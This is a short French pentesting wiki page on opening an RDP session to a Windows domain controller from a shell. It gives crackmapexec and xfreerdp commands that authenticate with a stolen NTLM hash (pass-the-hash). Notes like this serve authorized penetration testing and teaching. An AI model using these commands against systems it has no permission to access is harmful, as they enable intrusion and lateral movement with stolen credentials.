[Exploitation/Windows] Connexion RDP

Introduction

Cette page montre une technique pour lancer une connexion RDP depuis un shell (si un environnement graphique est présent et configuré en amont).



Manuel

- L'outil **crackmapexec** permet d'initialiser une connexion RDP en mode PassTheHash :

```
cme smb <DC_IP> -u <USERNAME> -H <HASH>
```

- Lancer la connexion :

```
xfreerdp /v:<DC_IP> /u:<USERNAME> /pth:<HASH>
```

- Sinon il est possible d'utiliser l'outil graphique **Remmina** pour lancer une connexion classique avec un mot de passe.

Revision #5
Created 2023-10-12 20:34:43 UTC by Elieroc
Updated 2024-05-03 13:11:47 UTC by Elieroc